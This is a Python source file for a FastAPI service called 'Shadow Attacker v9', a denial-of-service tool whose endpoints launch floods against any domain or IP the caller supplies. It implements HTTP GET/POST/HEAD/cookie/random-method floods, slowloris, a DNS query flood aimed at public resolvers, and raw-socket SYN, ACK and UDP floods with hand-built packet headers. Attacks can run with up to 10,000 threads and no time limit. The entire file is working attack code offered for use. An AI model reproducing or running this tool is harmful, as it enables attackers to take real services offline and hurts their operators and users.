|
|
|
|
|
|
|
|
|
|
|
|
|
|
import random |
|
|
import socket |
|
|
import threading |
|
|
import time |
|
|
import struct |
|
|
from collections import deque |
|
|
from typing import Dict, Optional, List |
|
|
|
|
|
import uvicorn |
|
|
import requests |
|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel, Field, validator |
|
|
from concurrent.futures import ThreadPoolExecutor |
|
|
|
|
|
|
|
|
import logging |
|
|
logging.basicConfig(level=logging.INFO, format="%(message)s") |
|
|
log = logging.getLogger() |
|
|
|
|
|
app = FastAPI(title="Shadow Attacker v9 - MAX HUNT") |
|
|
|
|
|
|
|
|
attack_active = False |
|
|
attack_lock = threading.Lock() |
|
|
executor: Optional[ThreadPoolExecutor] = None |
|
|
stop_event = threading.Event() |
|
|
counters: Dict[str, int] = {} |
|
|
counters_lock = threading.Lock() |
|
|
total_packets = 0 |
|
|
log_buffer: deque[str] = deque(maxlen=500) |
|
|
attack_end_time = 0.0 |
|
|
attack_type_name = "" |
|
|
|
|
|
|
|
|
last_time = time.time() |
|
|
last_total = 0 |
|
|
|
|
|
def _log(msg: str): |
|
|
ts = time.strftime("%H:%M:%S") |
|
|
log.info(f"{ts} {msg}") |
|
|
log_buffer.append(f"{ts} {msg}") |
|
|
|
|
|
|
|
|
def init_executor(): |
|
|
global executor |
|
|
if executor is None: |
|
|
executor = ThreadPoolExecutor(max_workers=10000) |
|
|
|
|
|
|
|
|
class AttackConfig(BaseModel): |
|
|
target: str = Field(..., description="Domain or IP") |
|
|
port: int = Field(80, ge=1, le=65535) |
|
|
duration: int = Field(300, ge=-1, le=10000) |
|
|
threads: int = Field(1000, ge=-1, le=10000) |
|
|
|
|
|
@validator('target') |
|
|
def validate_target(cls, v): |
|
|
if not v or len(v) > 255: |
|
|
raise ValueError("Invalid target") |
|
|
return v.strip() |
|
|
|
|
|
class Layer7Config(AttackConfig): |
|
|
method: str = Field("get") |
|
|
@validator('method') |
|
|
def validate_method(cls, v): |
|
|
valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"] |
|
|
if v not in valid: |
|
|
raise ValueError(f"L7 methods: {', '.join(valid)}") |
|
|
return v |
|
|
|
|
|
class Layer4Config(AttackConfig): |
|
|
protocol: str = Field("udp") |
|
|
payload_size: int = Field(1024, ge=0, le=65507) |
|
|
@validator('protocol') |
|
|
def validate_protocol(cls, v): |
|
|
if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]: |
|
|
raise ValueError("L4: udp, tcp, syn, ack, udp_pps") |
|
|
return v |
|
|
|
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_type: Optional[str] |
|
|
target: Optional[str] |
|
|
total_packets: int |
|
|
pps: float |
|
|
threads_active: int |
|
|
duration: int |
|
|
elapsed: float |
|
|
remaining: float |
|
|
logs: List[str] |
|
|
|
|
|
|
|
|
def checksum(data: bytes) -> int: |
|
|
s = 0 |
|
|
for i in range(0, len(data), 2): |
|
|
if i + 1 < len(data): |
|
|
w = (data[i] << 8) | data[i + 1] |
|
|
else: |
|
|
w = data[i] << 8 |
|
|
s += w |
|
|
while s >> 16: |
|
|
s = (s & 0xFFFF) + (s >> 16) |
|
|
return ~s & 0xFFFF |
|
|
|
|
|
def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int: |
|
|
s = 0 |
|
|
for i in range(0, 4, 2): |
|
|
s += (src[i] << 8) | src[i + 1] |
|
|
s += (dst[i] << 8) | dst[i + 1] |
|
|
s += proto |
|
|
s += length |
|
|
while s >> 16: |
|
|
s = (s & 0xFFFF) + (s >> 16) |
|
|
return s |
|
|
|
|
|
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes: |
|
|
total = 20 + payload_len |
|
|
ip = bytearray(20) |
|
|
ip[0] = 0x45 |
|
|
ip[8] = 64 |
|
|
ip[9] = proto |
|
|
struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF)) |
|
|
ip[12:16] = src_ip |
|
|
ip[16:20] = dst_ip |
|
|
cs = checksum(ip) |
|
|
struct.pack_into("!H", ip, 10, cs) |
|
|
return bytes(ip) |
|
|
|
|
|
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags): |
|
|
tcp = bytearray(20) |
|
|
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0) |
|
|
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20) |
|
|
cs = checksum(struct.pack("!I", pseudo) + tcp) |
|
|
struct.pack_into("!H", tcp, 16, cs) |
|
|
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20) |
|
|
return ip + tcp |
|
|
|
|
|
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes): |
|
|
udp_len = 8 + len(payload) |
|
|
udp = bytearray(8) |
|
|
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0) |
|
|
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len) |
|
|
cs = checksum(struct.pack("!I", pseudo) + udp + payload) |
|
|
struct.pack_into("!H", udp, 6, cs) |
|
|
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len) |
|
|
return ip + udp |
|
|
|
|
|
|
|
|
def http_worker(method: str, url: str): |
|
|
global total_packets |
|
|
session = requests.Session() |
|
|
headers = { |
|
|
"User-Agent": random.choice(["Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"]), |
|
|
"Cache-Control": "no-cache", |
|
|
"Connection": "keep-alive" |
|
|
} |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
if method == "get": |
|
|
session.get(url, headers=headers, timeout=3, verify=False) |
|
|
elif method == "post": |
|
|
session.post(url, data={"x": random._urandom(128).hex()}, timeout=3) |
|
|
elif method == "head": |
|
|
session.head(url, headers=headers, timeout=3) |
|
|
elif method == "cookie": |
|
|
session.get(url, headers={**headers, "Cookie": f"s={random.randint(1,999999)}"}, timeout=3) |
|
|
elif method == "rand": |
|
|
session.request(random.choice(["GET","POST","PUT","DELETE"]), url, timeout=3) |
|
|
with counters_lock: |
|
|
counters["l7"] = counters.get("l7", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
def slowloris(target: str, port: int): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
s.settimeout(5) |
|
|
s.connect((target, port)) |
|
|
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode()) |
|
|
while not stop_event.is_set(): |
|
|
s.send(b"X-a: b\r\n") |
|
|
time.sleep(8) |
|
|
with counters_lock: |
|
|
counters["l7"] = counters.get("l7", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: s.close() |
|
|
except: pass |
|
|
|
|
|
def dns_reflect(target_ip: str): |
|
|
global total_packets |
|
|
servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"] |
|
|
payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40) |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
for srv in servers: |
|
|
s.sendto(payload, (srv, 53)) |
|
|
with counters_lock: |
|
|
counters["reflect"] = counters.get("reflect", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: s.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
def raw_syn_flood(target_ip: str, port: int): |
|
|
global total_packets |
|
|
src_ip = socket.inet_aton("0.0.0.0") |
|
|
dst_ip = socket.inet_aton(target_ip) |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) |
|
|
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) |
|
|
src_p = random.randint(1024, 65535) |
|
|
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02) |
|
|
s.sendto(pkt, (target_ip, 0)) |
|
|
with counters_lock: |
|
|
counters["raw"] = counters.get("raw", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: s.close() |
|
|
except: pass |
|
|
|
|
|
def raw_ack_flood(target_ip: str, port: int): |
|
|
global total_packets |
|
|
src_ip = socket.inet_aton("0.0.0.0") |
|
|
dst_ip = socket.inet_aton(target_ip) |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) |
|
|
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) |
|
|
src_p = random.randint(1024, 65535) |
|
|
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10) |
|
|
s.sendto(pkt, (target_ip, 0)) |
|
|
with counters_lock: |
|
|
counters["raw"] = counters.get("raw", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: s.close() |
|
|
except: pass |
|
|
|
|
|
def raw_udp_flood(target_ip: str, port: int, payload_size: int): |
|
|
global total_packets |
|
|
src_ip = socket.inet_aton("0.0.0.0") |
|
|
dst_ip = socket.inet_aton(target_ip) |
|
|
payload = random._urandom(payload_size) if payload_size > 0 else b"" |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) |
|
|
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) |
|
|
src_p = random.randint(1024, 65535) |
|
|
pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload) |
|
|
s.sendto(pkt, (target_ip, 0)) |
|
|
with counters_lock: |
|
|
counters["raw"] = counters.get("raw", 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: s.close() |
|
|
except: pass |
|
|
|
|
|
|
|
|
def resolve_ip(target: str) -> str: |
|
|
try: |
|
|
return socket.gethostbyname(target.split("/")[0].split(":")[0]) |
|
|
except: |
|
|
raise HTTPException(400, "Cannot resolve target") |
|
|
|
|
|
def launch_attack(config: AttackConfig, attack_type: str, **kwargs): |
|
|
global attack_active, attack_end_time, attack_type_name |
|
|
with attack_lock: |
|
|
if attack_active: |
|
|
raise HTTPException(400, "Attack in progress") |
|
|
attack_active = True |
|
|
stop_event.clear() |
|
|
counters.clear() |
|
|
total_packets = 0 |
|
|
attack_type_name = attack_type.upper() |
|
|
|
|
|
threads = 10000 if config.threads == -1 else config.threads |
|
|
duration = float('inf') if config.duration == -1 else config.duration |
|
|
attack_end_time = time.time() + duration if duration != float('inf') else float('inf') |
|
|
|
|
|
_log(f"LAUNCHED {attack_type.upper()} → {config.target}:{config.port} | {threads} threads | {config.duration}s") |
|
|
|
|
|
init_executor() |
|
|
worker = None |
|
|
target_ip = resolve_ip(config.target) |
|
|
|
|
|
|
|
|
if attack_type.startswith("l7_"): |
|
|
url = f"http://{config.target}:{config.port}" |
|
|
method = kwargs.get("method", "get") |
|
|
if method == "slowloris": |
|
|
worker = lambda: slowloris(target_ip, config.port) |
|
|
elif method == "reflect": |
|
|
worker = lambda: dns_reflect(target_ip) |
|
|
else: |
|
|
worker = lambda: http_worker(method, url) |
|
|
|
|
|
|
|
|
elif attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port) |
|
|
elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port) |
|
|
elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200)) |
|
|
elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0) |
|
|
|
|
|
if not worker: |
|
|
raise HTTPException(400, "Invalid attack") |
|
|
|
|
|
for _ in range(threads): |
|
|
executor.submit(worker) |
|
|
|
|
|
if duration != float('inf'): |
|
|
def auto_stop(): |
|
|
time.sleep(duration) |
|
|
stop_attack() |
|
|
threading.Thread(target=auto_stop, daemon=True).start() |
|
|
|
|
|
|
|
|
@app.post("/layer7/attack") |
|
|
def l7_attack(config: Layer7Config): |
|
|
attack_key = f"l7_{config.method}" |
|
|
launch_attack(config, attack_key, method=config.method) |
|
|
return {"status": f"L7 {config.method.upper()} HUNT STARTED"} |
|
|
|
|
|
@app.post("/layer4/attack") |
|
|
def l4_attack(config: Layer4Config): |
|
|
proto_map = { |
|
|
"udp": "raw_udp", |
|
|
"syn": "raw_syn", |
|
|
"ack": "raw_ack", |
|
|
"udp_pps": "raw_udp_pps" |
|
|
} |
|
|
attack_key = proto_map[config.protocol] |
|
|
launch_attack(config, attack_key, payload_size=config.payload_size) |
|
|
return {"status": f"L4 {config.protocol.upper()} HUNT STARTED"} |
|
|
|
|
|
@app.post("/stop") |
|
|
def stop_attack(): |
|
|
global attack_active |
|
|
with attack_lock: |
|
|
if not attack_active: |
|
|
return {"status": "no_attack"} |
|
|
stop_event.set() |
|
|
attack_active = False |
|
|
_log("HUNT STOPPED") |
|
|
return {"status": "stopped"} |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def status(): |
|
|
global last_time, last_total |
|
|
now = time.time() |
|
|
elapsed_g = now - last_time |
|
|
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0 |
|
|
last_time, last_total = now, total_packets |
|
|
|
|
|
active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread") |
|
|
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0 |
|
|
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1 |
|
|
|
|
|
return StatusResponse( |
|
|
running=attack_active, |
|
|
attack_type=attack_type_name, |
|
|
target=None, |
|
|
total_packets=total_packets, |
|
|
pps=round(pps, 1), |
|
|
threads_active=active_threads, |
|
|
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0, |
|
|
elapsed=round(elapsed, 1), |
|
|
remaining=round(remaining, 1) if remaining >= 0 else -1, |
|
|
logs=list(log_buffer) |
|
|
) |
|
|
|
|
|
@app.get("/attack/types") |
|
|
def attack_types(): |
|
|
return { |
|
|
"layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"], |
|
|
"layer4": ["udp", "udp_pps", "syn", "ack"], |
|
|
"max_threads": "10000 (-1 = FULL HUNT)", |
|
|
"max_duration": "10000s (-1 = unlimited)" |
|
|
} |
|
|
|
|
|
@app.get("/") |
|
|
def root(): |
|
|
return {"message": "Shadow Attacker v9 - /attack/types for full arsenal"} |
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
init_executor() |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1) |